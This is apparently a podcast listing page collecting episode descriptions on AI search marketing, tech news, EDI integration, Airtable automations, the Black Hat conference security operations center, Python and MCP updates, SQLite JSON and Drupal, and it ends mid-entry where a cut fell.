Text-based open standard designed for human-readable data interchange
POPULARITY
Categories
Kevin White, Head of Marketing at Scrunch, argues that referral traffic from ChatGPT is the wrong instrument for measuring AI search — and that the real question is whether a model represents your brand accurately when no one clicks at all. He and Greg Kihlström get into what to build and what to measure instead."AI search" is several different problems wearing one label. A crawler pulling your content, a model synthesizing an answer, and an agent acting on someone's behalf are not the same event — and teams that treat them as one end up optimizing for the wrong thing.A website now serves two readers with different needs. White on what changes structurally when the page has to work for a human and for a machine that will compress it into three sentences.Visibility is probabilistic, so accountability has to change. The same prompt can surface your brand one day and skip it the next. White on what a marketing leader can honestly commit to a CMO or a board in that environment.About Kevin WhiteKevin White is a B2B tech marketing leader who has helped shape go-to-market at Segment, Retool, and Common Room, and now leads marketing at Scrunch AI, an AI-first customer-journey platform. He got his start in SaaS at Gigya — where he was handed Marketo and told to 'figure it out,' the spark for a learn-by-doing growth mindset that merges analytical rigor (attribution, lifecycle infrastructure, reporting) with creative offer- and channel-building. That growth foundation carried him to leading whole marketing orgs, though he's candid that the climb pulled him away from the hands-on craft he loves, and at Common Room he deliberately stepped back into a senior IC role. At Scrunch he focuses on one of the most overlooked shifts in modern marketing: websites are now consumed as much by AI bots as by humans, and brands that make their sites legible to LLMs — through structure, markdown and JSON, schema, and a parallel AI-optimized experience — win the emerging AI retrieval channel.Kevin White on LinkedIn---------- Resources ----------This episode is brought to you by Scrunch. Scrunch gets your site AI-ready so you show up in answers, get cited, and grow revenue. Learn more at Scrunch.comReach your customers with Reddit. Spend $500 in ad spend, get $500 back in ad credit! Learn more: https://advertalize.com/r/491818c79fb1873fEnjoyed the show? Tell us more at and give us a rating so others can find the show at: https://aglbrnd.co/r/faaed112fc9887f3Connect with Greg on LinkedIn: https://www.linkedin.com/in/gregkihlstromDon't miss a thing: get the latest episodes, sign up for our newsletter and more: https://aglbrnd.co/r/35ded3ccfb6716baCheck out The Agile Brand Guide website with articles, insights, and Martechipedia, the wiki for marketing technology: https://www.agilebrandguide.comThe Agile Brand is produced by Missing Link—a Latina-owned strategy-driven, creatively fueled production co-op. From ideation to creation, they craft human connections through intelligent, engaging and informative content. https://www.missinglink.company Hosted on Acast. See acast.com/privacy for more information.
In this episode, Ray Cochrane digs into Anthropic’s Model Hardware Standard. It is a shared driver that lets an AI agent run real lab equipment, from pipetting robots to the lasers inside a quantum computer. He also covers OpenAI’s builder’s guide to GPT-5.6, Google’s new Expert Intelligence book feature, Apple’s M5 Ultra Mac Studio, and a judge’s order forcing Google to stop hiding rival app stores. Finally, he weighs in on Apple’s proposed 15 percent link-out fee, Meta’s Australia numbers, the White House deputizing private hackers, and why rivers obey a 1957 math rule. – Want to start a podcast? Its easy to get started! Sign-up at Blubrry – Thinking of buying a Starlink? Use my link to support the show. Subscribe to the Newsletter. Email Ray if you want to get in touch! Like and Follow Geek News Central’s Facebook Page. Support my Show Sponsor: Best Godaddy Promo Codes Get 1Password Full Summary Cochrane opens with a quick personal update. He is hunting for tickets to Michigan for his dad’s anniversary, and he has been learning Blender and Godot on the side, mostly modeling and blocking out levels. Consequently, he asks listeners for advice on starting a big game project, and he plans to record his progress, maybe as a time lapse. Then it is straight into the featured story. Anthropic’s Model Hardware Standard: A Driver for the Physical World The featured story comes from Anthropic, which opened a research preview of the Model Hardware Standard, or MHS. Cochrane frames it as the other side of the question NVIDIA’s world models raised two weeks ago: when do AI agents start touching actual machines? A typical lab runs a microscope, a liquid handler, a robotic arm, and a plate reader, each from a different vendor with its own control software. One Janelia researcher in the post launches seven programs in three languages just to start an experiment. Anthropic says wiring a setup like that takes weeks or months of specialist work. MHS is a driver, the same kind of translation layer a printer uses, except every device gets described with a tiny set of commands like read and write. Devices announce themselves on the network. A plain-English reference file then records what each machine measures, what can be adjusted, and which safety limits get enforced no matter what the agent asks. Agents then reach the hardware through the Model Context Protocol, the command line, or plain code. Cochrane sees the same move the industry keeps making, from coding harnesses to RSS and JSON: agree on a standard and let everyone build against it. In fact, he calls MHS the hardware version of MCP. The partner results carry the segment. QuEra builds quantum computers from individual atoms held by lasers that must hold their frequency to about one part in a trillion. A four-person team spent months on a relock script that worked 58 percent of the time. However, four copies of Claude iterating overnight through MHS produced a decision-tree script that recovers the laser in about six seconds, and it passed 99.3 percent of 700 blind trials. Carnegie Mellon wrote MHS drivers for four instruments across three incompatible computers in about eight hours, then ran dose-response experiments three times faster and blocked all six deliberately induced faults. Genentech, meanwhile, showed the limits. Claude used the same pump speed for water, a foamy protein solution, and a human had to explain that the bubbles were a physics problem. That gap in physical intuition is what sticks with Cochrane. He doubts it will change soon, and he suspects the fix will arrive as sub-agents or sub-models that judge a request against an expected outcome. He also connects MHS to a video of racing robots that never learned to stop at the finish line. What happens, he wonders, once they can read a distance sensor through a shared standard? Still, he calls the announcement a fantastic read and points listeners to the full article. Sponsor: GoDaddy Economy hosting $6.99/month, WordPress hosting $12.99/month, domains $11.99. Website builder trial available. Use codes at geeknewscentral.com/godaddy to support the show. GPT-5.6 Does the Same Work for a Fraction of the Cost OpenAI’s builder’s guide to GPT-5.6 leads the headlines. Cochrane recaps the three tiers from episode 1870, Sol, Terra, and Luna, plus the separate dial for reasoning effort. On BrowseComp, a benchmark for digging up obscure facts on the web, the old GPT-5.5 flagship scored about 84 percent on a run that cost 33 dollars three months ago. Luna now matches that score for a dollar thirty-three, and OpenAI has since cut Luna’s price another 80 percent. Browser Use reports Luna finishing 78 percent of its hardest browser tasks for about 14 dollars, against 80 percent for roughly 235 dollars from the best available model. The guide’s other big addition is a multi-agent beta flag. It lets the model handling a request spawn parallel helper agents that report back to a root agent inside a single API call. However, Cochrane is unimpressed by the timing. He has been running that pattern in Claude Code for months, so he sees OpenAI copying a workflow other companies already ship rather than inventing its own. Along the way, he plugs Claude Code’s remote-control sessions, which let him send prompts from his phone to a terminal session at home. Google Lets Gemini Read the Books You Actually Bought Google launched Expert Intelligence, a name Cochrane calls quite the reach. The feature lets you drop a book you bought on Google Play Books into Gemini Notebook, formerly NotebookLM, and ask questions answered only from that book, with citations. Cochrane sees real power here for students, since he once used NotebookLM to organize scattered course PDFs. Additionally, publishers get a cut, which he calls a far better deal than the wholesale scraping of books that trained earlier models. Nevertheless, he asks who loses out, because a paid publisher does not automatically mean a paid author. He floats the same idea for artists, even a penny per use, then admits that may be too idealistic. Apple’s M5 Ultra Mac Studio Is Built to Run Big Models at Home Back in episode 1861, when Apple killed the Mac Pro, an M5 Ultra Mac Studio was expected later this year. Now it is here. The M5 Ultra brings up to a 36-core CPU, an 80-core GPU, and 512GB of unified memory moving 1.2 terabytes per second. Apple claims up to 4.3 times the AI performance of the M3 Ultra. Thunderbolt 5 can also cluster four machines into one memory pool for up to three times faster inference. The M5 Max model starts at $2,499 and the Ultra at $5,499, with shipping on September 22 and the 512GB configuration arriving in late October. Cochrane finds the clustering pitch ridiculous at that price, but he invites anyone who spends the money to report back. Apple Opens a Manufacturing School in Houston Apple also opened a 20,000-square-foot Advanced Manufacturing Center in Houston. It offers free classes for small and midsize manufacturers, from circuit board design to hands-on time on a scaled-down production line, with college students joining later. Cochrane calls it a solid step in the bring-manufacturing-home movement. The bigger story is the campus itself, which builds Apple’s AI servers and will add the first US-assembled Mac mini line later this year. That ties back to the Mac mini shortage that followed the OpenClaw rush, when Tim Cook warned of months-long waits. Cult of Mac was still reporting four-month waits in late July. However, Cook blamed chip supply rather than assembly, so Cochrane is not counting on relief just yet. Amazon EC2 Turns Twenty Amazon EC2 turned twenty this week, which Cochrane admits makes him feel old. The 2006 beta offered one server size in one region for ten cents an hour. Each came with a 1.7 gigahertz Xeon and under two gigabytes of memory, and accounts were capped at twenty servers. Today AWS offers more than 1,200 instance types across 39 regions. Consequently, Cochrane credits the company with turning that tiny product into the backbone of cloud and AI computing. Intel Gamer Days: Two Free Games, With Fine Print Intel Gamer Days runs through September 13. Buy a qualifying Core Ultra Series 2 or 14th Gen desktop chip, a Core Ultra Series 3 laptop, or an Arc graphics card. In return you get Star Wars: Galactic Racer plus the Tomb Raider: Legacy of Atlantis remake. GamesRadar values the pair at about 120 dollars. However, neither game is out yet, and codes must be redeemed by October 31 even though the Tomb Raider remake ships in February. Cochrane calls that awful, but he still tells qualifying buyers to claim the deal early. Note that 13th Gen chips do not qualify. Judge Orders Google to Stop Hiding Rival App Stores A jury found Google’s Android app monopoly illegal in late 2023, and Judge James Donato ordered rival stores into the Play Store in 2024. On August 13, Epic’s lawyer demonstrated that searching Play for “store for apps” returned Walmart instead of any app store. Donato called that “not acceptable” and ordered three fixes within a week. Searches must surface third-party stores, listings need a plain install button, and the “are you looking for” interstitial has to go. Cochrane welcomes the monopoly being chipped away, but he notes that a controlling entity still sits atop every app store. In his view, community hubs like app stores and social media need a public infrastructure layer. He suspects governments skip that investment because companies already run the services, while selling your data. Apple Wants 15 Percent of Purchases Outside Its Store The other half of the Epic saga is Apple’s proposed link-out commission. After the 2021 anti-steering injunction, Apple charged 27 percent on purchases made through external links. A judge held it in contempt last year, and the Ninth Circuit then allowed a fee limited to the cost of running the system. Judge Yvonne Gonzalez Rogers refused to wait for the Supreme Court, writing that “further delay is unwarranted.” Apple filed 15 percent for standard apps, 10 percent for subscription renewals and partner programs, and 5 percent for small businesses. It also conceded the rate would be “essentially zero” under the appeals court’s cost yardstick. Since Apple has charged nothing on link-outs since the contempt ruling, Cochrane sees this as a raise. He calls a cut on purchases made on a developer’s own website disturbing. He also recalls reading about the size of Uber’s payments to Apple, and he questions whether that kind of percentage is sustainable for companies without funding. Meta Says It Has Cut Off 750,000 Australian Kids Meta reported locking out more than 750,000 Facebook and Instagram accounts in Australia by the end of June under the country’s under-16 social media law. Over 500,000 of those were removed before the law even took effect. Detection relies mostly on AI scanning posts and bios for tells like birthday messages, plus user reports and blocks on re-registration. However, the post gives no count of mistaken removals or appeals, and the regulator’s early data shows under-16 usage falling only from about 86 to 81 percent. Meta wants a single age signal at the operating system or app store level, and Cochrane agrees completely. He connects it to the MHS idea from the top of the show: platforms need a standard flag to reference instead of guessing. The White House Deputizes Private Hackers Earlier this month the White House signed a National Security Presidential Memorandum that lets vetted private security firms run surveillance and disruption operations against overseas criminal groups. The Justice Department and Homeland Security hold the contracts and oversee the work. Firms need a proven track record, vetted staff, and a bond of at least $1 million, and must submit operating procedures within 60 days. Cochrane finds the measure aggressive in a good way and hopes it deters attacks on innocents. Still, he takes Kevin Beaumont’s warning seriously that the private security industry profits from ransomware existing. He compares it to the old Head and Shoulders myth: why solve the problem that drives your revenue? A Weather Satellite Watched the Eclipse Shadow Cross Europe Cochrane skips the readout on this one and simply sends listeners to ESA’s site. The MTG-I1 weather satellite captured the Moon’s shadow sweeping across Europe during the August 12 eclipse. Watching a shadow cross an entire continent, he says, was a first for him. Additionally, it leaves him excited about the research happening beyond the planet. Rivers, Deltas, and the Number 0.6 Quanta Magazine explains Hack’s law, which John Hack discovered in 1957 while measuring streams in Virginia and Maryland. A stream’s length tracks its drainage area raised to the power of 0.6, regardless of the rock underneath, and satellite data later confirmed it worldwide. Computer models in the 1990s showed why. Channels that capture extra runoff cut deeper and steal from their neighbors until the network settles into the arrangement that wastes the least energy. Now a University of Texas Rio Grande Valley team has found the same 0.6 exponent in river deltas, which spread water out rather than gathering it. Nobody knows why yet, and Cochrane calls it a really cool read. Sugar Helped Grow the Human Brain, Too A new paper in Science, co-authored by Jennie Brand-Miller at the University of Sydney, adds a third ingredient to the story of early human brain growth. Alongside meat and cooking, natural sugars from ripe fruit and honey may have fueled it too. The brain is about two percent of body weight but burns twenty percent of resting energy. It runs on glucose, which meat and marrow barely supply and raw starch cannot release without fire. The team modeled ancestral diets from a chimp-like baseline through Homo erectus and concluded that the earliest hominins may have drawn over 65 percent of their energy from natural sugars. Cochrane stresses that it is a model, not fossils, and notes that paleoanthropologist Marina Lozano thinks the authors place widespread cooking too early. Still, he loves this kind of deep research. Retracing the steps to our own intelligence, he suggests, could hint at what it takes for intelligent life to develop at all. A Brain Rhythm That Tells Doctors Where to Aim Finally, Science Daily covered a University of Cologne study on deep brain stimulation. That is the implanted-electrode treatment that eases Parkinson’s tremors for some patients but not others. Andreas Horn’s team recorded from 50 patients using both the implanted electrodes and an external magnetic scanner. They identified a circuit between the electrode’s target and the frontal cortex that oscillates at 20 to 35 cycles per second. Stronger coupling there predicted bigger improvement after surgery, though the study, published in Brain, shows correlation rather than cause. First author Bahne Bahners hopes the finding helps tune DBS more precisely, especially for patients who have not responded well. Cochrane half-jokingly asks whether MHS might one day drive those electrodes, and he calls brain disorders the hardest thing in the body to treat. Cochrane wraps with housekeeping: become a GNC Insider at geeknewscentral.com/insider, email geeknews@gmail.com with questions or comments, subscribe to the newsletter, and grab a modern podcast app at podcastapps.com. He thanks GoDaddy for over twenty years of keeping the show on the air, promises to catch everyone next Monday, and wishes listeners a great night. The post Eyes, Hands, and a Sense of Timing #1874 appeared first on Geek News Central.
In "Eliminating EDI Headaches: Managed Integration vs. Ticket Queues", Joe Lynch speaks with Co-Founder and Leader of Atadex, Mitch Bernet, about how fully managed EDI and API integrations eliminate operational bottlenecks, speed up customer onboarding, and drive supply chain profitability. About Mitch Bernet Mitch Bernet is the Co-Founder and Leader of Atadex, bringing decades of supply chain expertise and executive leadership to the role. Raised in Cleveland, Ohio, he earned a degree from Providence College, an MBA in Finance from Creighton University, and launched his career at Union Pacific Railroad before taking senior management roles at Conrail, APL Logistics, and Hub Group. A seasoned entrepreneur, he went on to found Integra Logistics in 2003 and co-found Coyote Logistics in 2008—growing the Atlanta-based business through its eventual acquisition by UPS—before taking a brief hiatus and returning to the industry to co-found Atadex. Married to Rosanna for 35 years, he is the proud father of two children, Matthew and Katherine, who graduated from Georgia Tech and the University of Georgia, respectively. About Atadex Atadex is a full-service EDI (Electronic Data Interchange) and API integration provider exclusively focused on the supply chain and logistics industry. The company was founded to deliver fully managed, fast, low-cost data integration—handling everything end to end so clients don't need in-house EDI expertise and positioning itself as an alternative to legacy EDI vendors, self-serve platforms, and traditional professional services. Atadex connects any TMS or WMS (including Blue Yonder, Trimble, Manhattan, Turvo, Shipwell, TAI, and McLeod) to any trading partner, supporting all major formats (X12, EDIFACT, API, XML, CSV, JSON) and transaction types. The company processes over 50 million messages per month and has completed more than 5,000 go-lives, pairing each client with a dedicated, US-based account manager. Its goal is to fundamentally change how data integration is managed and serviced, helping clients improve productivity, performance, and profitability. Target customers include carriers and 3PLs with complex partner networks, warehouses and 4PLs seeking a fully outsourced EDI department, and TMS/WMS providers wanting to offer integration without building their own delivery teams. Atadex also offers AssetMaps (fleet consolidation) and Freight Board Central (freight board integration). Key Takeaways: Eliminating EDI Headaches: Managed Integration vs. Ticket Queues In "Eliminating EDI Headaches: Managed Integration vs. Ticket Queues", Joe Lynch speaks with Co-Founder and Leader of Atadex, Mitch Bernet, about how fully managed EDI and API integrations eliminate operational bottlenecks, speed up customer onboarding, and drive supply chain profitability. EDI as a Profitability Driver, Not Just an IT Task: Data integration directly impacts the bottom line by eliminating manual data entry, reducing human error, and allowing logistics staff to manage up to 25% more volume per person without adding head count. Overcoming System Incompatibility via "Universal Translation": Supply chain tech remains heavily fragmented between legacy systems (like mainframes or EDI X12) and modern RESTful APIs. Atadex acts as a universal translator, mapping and converting any data format into whatever spec a trading partner requires. Speed to Integration Equals Speed to Revenue: Onboarding delays can stall new customer relationships for months and destroy projected margins. Rapid implementation and proactive partner coordination directly protect customer retention and protect sales commissions. Fully Managed Service vs. Anonymous Ticket Queues: Logistics operates on extreme urgency where every minor issue feels like a major emergency. Relying on dedicated, domain-expert project managers who proactively catch failed transmissions beats putting in tickets with traditional tech providers. Decoupling Customer Support from Technical Engineering: Mirroring the operational structure pioneer Jeff Silver used at Coyote Logistics, separating client-facing project managers from back-end technical mappers ensures seamless communication and higher overall customer satisfaction. Transparent Pricing Over Complex VAN Fees: Traditional EDI value-added networks (VANs) often obscure costs behind per-kilo-character charges. Simplifying billing to clear, per-message rates provides total transparency so companies can calculate precise integration costs per trading partner. Practical AI Integration with a "People-First" Foundation: While AI tools (like Claude) are being developed internally to speed up complex mapping and protocol translation, technology will supplement—rather than replace—the critical human element required to support high-stakes logistics operations. Learn More About Eliminating EDI Headaches: Managed Integration vs. Ticket Queues Mitch Bernet | Linkedin Atadex | Linkedin Atadex USMMG Partners with Atadex for EDI Solutions | LinkedIn Trailer Bridge's Partnership With Atadex as Their EDI Provider Revolutionized Their Efficiency | LinkedIn The Game-Changer for Riverside Transport's EDI and Target Performance | LinkedIn Atadex| Facebook The Logistics of Logistics Podcast If you enjoy the podcast, please leave a positive review, subscribe, and share it with your friends and colleagues. The Logistics of Logistics Podcast: Google, Apple, Castbox, Spotify, Stitcher, PlayerFM, Tunein, Podbean, Owltail, Libsyn, Overcast Check out The Logistics of Logistics on Youtube
Kamille Parks demonstrates how to use the Model Context Protocol (MCP) to manage Airtable automations via Claude. She walks through updating an existing automation by adding placeholder email addresses to a notification step, showing how the AI can modify specific parameters while preserving existing context. The demo also covers management tasks like deleting an automation and using the "undo" feature to revert actions. By leveraging action IDs tracked through the MCP, the AI can effectively restore what was previously deleted. Finally, the segment explores creating new scheduled automations from scratch and exporting all base automations as JSON for auditing and configuration reviews. ⏱ In this cut: 01:58 — Updating an existing automation 06:52 — Deleting and undoing actions 08:36 — Creating new scheduled automations 16:11 — Exporting automations as JSON
James Pope is on site in Las Vegas more than a week before the doors open. As SOC lead for the Black Hat NOC and Senior Director of Security Product Research and Technical Marketing Engineering at Corelight, his show starts with switches and access points rather than alerts. The team brings in the ISP, the firewall, the switches, and the access points, deploys them across the conference, and then moves into SOC mode. If there is no network, there is nothing to secure. The tooling arrives through partnership rather than sponsorship. James Pope says a company cannot buy or sponsor its way into the NOC, and that the team picks what it wants and fills gaps as it finds them. Cisco covers Umbrella and file malware analytics, Palo Alto Networks provides the firewall and XSIAM as the log aggregator, Arista handles switching and access points, Jamf runs MDM across the registration devices, and Lumen supplies the internet. Corelight is the network visibility layer. That layer carries different weight here than it would inside a company. Asking attendees to install a certificate or an endpoint agent so the NOC can inspect their traffic is a request nearly everyone declines. In most corporate environments the endpoint is one of the richest sources of signal. At Black Hat, visibility into attendee activity comes from network data. A Black Hat positive is malicious activity that is legitimate in context. Attendees pay to learn attack techniques against real targets, and researchers demonstrate new exploits on stage. Those events generate true detections no corporate SOC would ignore. The NOC lets them run rather than killing a paid training exercise or a live demo. So how does the team tell a training exercise from a real attack? It baselines each classroom and spends its time on the outliers. When seventy students in a room run the same attacks against the same destinations, the activity is probably sanctioned. The curriculum is ingested as a JSON file and the system moves through a series of gates, asking whether this is a class, whether multiple sources are reaching the same destination, and whether the attack would be expected in that curriculum. Anything that does not fit comes back for a human. The team informs far more often than it blocks. On the day of the recording, James Pope went to the trade show floor to tell someone that command and control traffic was running from their machine, and handed over logs for their IT and security team. He is not their manager, and what happens next is their call. Illegal activity is treated differently, and a handful of times per show the team asks a room to stop. At Black Hat Asia, traffic from a Corelight sensor showed a double RAT infection on one machine, a single APT running one implant for exfiltration and another for command and control. Working from traffic, James Pope established that the person was a reporter, the region they covered, and the company they worked for. Open source intelligence narrowed it to a single name, registration confirmed the person was on site, and the NOC invited them in. The reporter arrived expecting a product demo. The laptop was reset with everyone present, sessions were revoked, passwords were changed, and the reporter left in a secured state. This year the team opened the Outpost, running real Black Hat network logs from Corelight behind application guardrails, LLM guardrails, and a kill switch, where visitors query the data with text to SQL. Agentic triage stitches alerts into detections and detections into a timeline, and James Pope treats the ability to drill down to raw logs as a requirement rather than a preference. Success is measured largely by what does not happen: no compromise of registration, the switches, or the access points, and people who arrive infected leaving better than they got here. This is a Brand Briefing. A Brand Briefing is an on-location conversation recorded on site at Black Hat USA 2026, putting a spotlight on the guest and their company and pairing it with the editorial reach of ITSPmagazine. Learn more: https://www.studioc60.com/performance/#briefing GUEST James Pope, Senior Director of Security Product Research and Technical Marketing Engineering at Corelight, and SOC lead for the Black Hat NOC RESOURCES Black Hat USA 2026 event coverage from ITSPmagazine: https://www.itspmagazine.com/black-hat-usa-2026-cybersecurity-event-coverage-in-las-vegas Learn more about Corelight: https://corelight.com Corelight blog, including the Black Hat NOC series: https://corelight.com/blog Are you interested in telling your story? ▶︎ Full Length Brand Story: https://www.studioc60.com/content-creation#full ▶︎ Brand Spotlight Story: https://www.studioc60.com/content-creation#spotlight ▶︎ Brand Highlight Story: https://www.studioc60.com/content-creation#highlight ▶︎ Get your own Brand Briefing at an upcoming event: https://www.studioc60.com/buy-brand-briefings KEYWORDS james pope, corelight, sean martin, marco ciappelli, brand briefing, brand story, brand marketing, marketing podcast, black hat usa 2026, network detection and response, network evidence, security operations center, threat hunting, agentic triage, ai in the soc, conference network security, black hat noc, command and control, incident response Hosted by Simplecast, an AdsWizz company. See pcm.adswizz.com for information about our collection and use of personal data for advertising.
Alli Alosa demonstrates how to use the 'Insert as JSON' feature in Airtable automations to reliably handle incoming data from external webhooks, such as Fillout. She explains why this method is more robust than traditional field mapping, especially when dealing with inconsistent data. The discussion covers a practical use case involving event feedback collection. By passing the entire payload as a JSON object, you can prevent automations from failing when certain form fields are left empty or missing from the payload. Finally, the team explores how to use this JSON data within a script action. Instead of manually mapping every individual field as an input, you can pass the entire object into a script, allowing for much more scalable and maintainable automation logic. ⏱ In this cut: 01:03 — Using feedback collection as a use case 12:38 — The benefits of using Insert as JSON 13:37 — Solving errors caused by empty field values 17:00 — Passing JSON data into a script action 25:09 — Conditional filters and advanced integrations
Tentative de nouveau format : "FAQ Discord". On a récupéré toutes vos questions posées sur notre Discord et on y répond dans cet épisode : indexation, revente de sites, DMCA, Trust Flow, éthique de l'affiliation, YouTube… 1h17 de réponses sans filtre.
Topics covered in this episode: Claude Code /insights Post-quantum crypto lands in Python MCP goes stateless — and FastMCP gets renamed inshellisense - IDE style command line auto complete Extras Joke Watch on YouTube About the show Sponsored by Xweather Xweather combines enterprise-grade weather intelligence with agent-ready APIs, natural language capabilities, and an MCP server so your agents can adapt workflows, automate responses, and make better decisions based on real-world conditions. Michael will tell you more about them later in the show. Get started for free at pythonbytes.fm/xweather Connect with the hosts Michael: Mastodon / BlueSky / X / LinkedIn Calvin: Mastodon / BlueSky / X / LinkedIn Show: Mastodon / BlueSky / X Join us on YouTube at pythonbytes.fm/live to be part of the audience. Usually Tuesday at 7am PT. Older video versions available there too. Finally, if you want an artisanal digest of every week of the show notes in email form? Add your name and email to our friends of the show list, we'll never share it. Michael #1: Claude Code /insights Michael's Insights: michael-kennedy-claude-code-insights-2026-08-09.html Be careful sharing these outputs, they include details references to your projects, errors, security findings, etc. ;) /insights reads your last 30 days of local session transcripts and hands back an interactive HTML report on how you actually work. One command, zero setup: type /insights in a session, or run claude -p "/insights" from the shell for a non-interactive version that just prints the path Reads what's already on disk: pulls session logs from ~/.claude/projects/, skipping agent sub-sessions and anything under 2 messages or 1 minute Project areas: clusters your sessions into themes like "CLI Tooling" or "Documentation" with session counts Friction analysis: categorizes where things went wrong by root cause - and quotes your own prompts back at you Interaction style: tells you whether you're a delegator or a micromanager, plus which workflows are worth doubling down on Actually actionable: suggests concrete CLAUDE.md additions and Claude Code features you're not using The catch: Haiku does the per-session classification, so the first run takes several minutes; results cache to ~/.claude/usage-data/facets/ and the report lands at ~/.claude/usage-data/report.html Calvin #2: Post-quantum crypto lands in Python pyca/cryptography 48 ships ML-KEM (key establishment) and ML-DSA (signatures) — NIST's post-quantum standards, now one pip install away. Big deal because it's the 11th most-downloaded package on PyPI (~1.2B downloads/month) and sits under Ansible, Certbot, Airflow, and paramiko. No PQ there, no PQ anywhere in Python. Trail of Bits did the work (Rust bindings, cross-backend API, tests, AWS-LC backend support), funded by the Sovereign Tech Agency. Timing tracks a June 22 White House order setting federal deadlines: PQ key establishment by end of 2030, PQ signatures by end of 2031. Not a drop-in swap — the wire sizes explode. ML-DSA-65 signatures are 3,309 bytes vs Ed25519's 64; ML-KEM-768 public keys are 1,184 bytes vs X25519's 32. Hardcoded field sizes and length prefixes will bite. API looks like the existing asymmetric primitives, except ML-KEM is encapsulate/decapsulate rather than a Diffie-Hellman exchange. SLH-DSA (the hash-based conservative backstop) is still in progress. The primitives are here, but protocols haven't caught up — so you won't be running post-quantum Certbot this week. Sponsor: Xweather You're using agents that can write code, summarize documents, and automate workflows. But they're missing one thing: awareness of the world around them. This is where today's sponsor, Xweather comes in. Xweather combines enterprise-grade weather intelligence with agent-ready APIs, natural language capabilities, and an MCP server built for tools like Claude, Codex, Copilot, and modern IDEs – so your agents can adapt workflows, automate responses, and make better decisions based on real-world conditions. Backed by Vaisala, whose instruments fly on NASA missions to Mars, Xweather delivers trusted data and unique insights that go beyond conditions to actual impact – from real-time lightning strikes to road surface forecasts. Start with 15,000 free API calls each month and pay only for what you use as you grow. Xweather is your full weather stack, for developers by developers. Start building for free today at pythonbytes.fm/xweather. The link is in your podcast player's show notes and on the episode page. Thanks so much to Xweather for supporting Python Bytes. Calvin #3: MCP goes stateless — and FastMCP gets renamed From Philipp Acsany over at Real Python The 2026-07-28 spec landed July 28 and the Python SDK shipped 2.0.0 the same day. Biggest rewrite since MCP launched, and it's breaking on purpose. Context for scale: the Tier 1 SDKs are pulling close to half a billion downloads a month, with TypeScript and Python each past a billion total. The headline is the stateless core. The initialize/initialized handshake and the Mcp-Session-Id header are both retired — protocol version, client identity, and capabilities now ride in _meta on every request, with an optional server/discover RPC if a client wants capabilities up front. Any request can land on any instance behind plain round-robin, no shared storage. Server-initiated calls are the hard part of the migration. Sampling, elicitation, and roots/list no longer call back to the client; instead the server returns resultType: "input_required" and the client retries with inputResponses attached. Multi Round-Trip Requests, MRTR. Also: Mcp-Method and Mcp-Name are now required headers so gateways route on headers instead of cracking JSON bodies, and missing-resource errors move to standard 32602. Deprecation sweep with an actual policy behind it — Roots, Sampling, Logging, and the legacy HTTP+SSE transport all deprecated with a twelve-month minimum offramp. Tasks graduated out of the experimental core into a real extension, which is what the formalized extensions framework was for. MCP Apps is now an official extension too, so a tool call can return sandboxed interactive HTML. Auth picked up RFC 9207 issuer validation, issuer-bound credentials, and a shift from DCR toward CIMD. Python SDK 2.0 is where it gets personal: FastMCP is now MCPServer, no alias, no shim. McpError → MCPError. Wire types went snake_case (is_error, input_schema) and moved to a standalone mcp_types package, with mcp.types kept as a permanent alias. One Client object replaces the old transport + ClientSession + initialize() stack. httpx became httpx2. Sync handlers run on worker threads now, so asyncio.get_running_loop() raises inside them. The good news: one MCPServer serves both protocol eras, so 2025-era clients keep working with nothing to configure, and a Resolve(fn) parameter lets one tool body cover MRTR and the old path. 1.x is maintenance-and-security-fixes only — pin mcp>=1.28,
Members Only: Today's video is available only to members. If you are already a member, you can access your private podcast feed by visiting https://www.pointfree.co/account. --- We add a geofence to the `Trip` model and explore advanced features of SQLite, including JSONB and `json_each`, which allow us to efficiently store and query this data. And we will show that not all bundles of data need to be JSON: we are free to group our database columns among as many data types as we like.
Free AI users rejoice: there's finally unlimited, free frontier AI.
Today we are talking about Maintaining NodeJS, Patternlab, Writing Books, and Open Source with guest Brian Muenzenmeyer. We'll also cover AI Webform Generator as our module of the week. For show notes visit: https://www.talkingDrupal.com/564 Topics Brian Open Source Origins Pattern Lab Node Journey Maintaining and Moving On Writing Approachable Open Source Who the Book Is For Beyond Code Contributions All Things Open Book Signing Choosing Conferences to Attend Pitching Open Source at Work Misconceptions and Starting Small Avoiding Maintainer Burnout Handling AI Noise and Low Effort PRs DCO and Licensing Basics Better Communication and Reviews Node and Drupal Lessons Optimism for Open Source Future Resources Brian Muenzenmeyer https://brianmuenzenmeyer.com https://approachableopensource.com/ https://bsky.app/profile/brianmuenzenmeyer.com https://www.linkedin.com/in/brian-muenzenmeyer-91a77554/ https://www.renderatl.com/schedule upcoming https://nodeconf.eu/program upcoming spectrum of engagement https://approachableopensource.com/blog/2025-open-source-pace-layers/ change in contention https://brianmuenzenmeyer.com/posts/2018-i-maintainer/ burnout https://approachableopensource.com/read/the_spectrum_of_engagement/ https://approachableopensource.com/read/the_four_files_of_any_open_source_project/ LICENSE Hodag Cryptid https://en.wikipedia.org/wiki/Hodag https://www.rhinelanderchamber.com/about-the-hodag/ You should write a book All contributors spec Talk at all things apart DCO Developer Certificate of Origin Open source law policy and practice Sustain OSS Guests Brian Muenzenmeyer - brianmuenzenmeyer.com Hosts Nic Laflin - nLighteneddevelopment.com nicxvan John Picozzi - epam.com johnpicozzi Bernardo Martinez - bernardm28 JD Flynn - dorficus MOTW Correspondent Jacob Rockowitz - jrockowitz.com jrockowitz Brief description: AI Webform Generator enables site builders to create a Drupal Webform, or update an existing one, from plain-English instructions. It sends the request through the site's configured Drupal AI provider, validates the returned Webform definition, and saves the resulting form. Review the generated change before using the form. Module name/project name: AI Webform Generator (ai_webform_generator) Brief history Created on 2 July 2026 by chaitanyadessai (Chaitanya R Dessai). The current stable release is 1.0.2, released on 3 July 2026, and supports Drupal ^10 || ^11. Maintainership Appears actively maintained: Drupal.org lists an update on 24 July 2026. Maintainers: zeeshan_khan and chaitanyadessai. (Specbee) Security coverage: Yes. Stable releases are covered by Drupal's security advisory policy. Test coverage: Yes. Version 1.0.2 includes unit, kernel, and functional tests for prompt building, JSON validation, settings, route access, Webform building, and optional CAPTCHA elements. Documentation: Yes. The project page and module README cover requirements, configuration, usage, security considerations, and supported field types. Issues: 1 open issue, with 0 open bug reports (7 issues total). Usage stats: 1 site reports using this module. Module features and usage Creates complete Webforms and updates existing Webforms in place from natural-language prompts. Supports common Webform elements, including text, email, telephone, number, date, select, checkbox, radio, range, password, hidden, and managed-file elements. Validates the AI response before applying the Webform definition. Uses the existing Drupal AI provider configuration; API keys are not stored in this module's configuration. Provides configurable model, temperature, output-token, and per-user request limits to balance output quality and provider spend. Requires trusted users with both the generator permission and ordinary Webform edit access when changing an existing 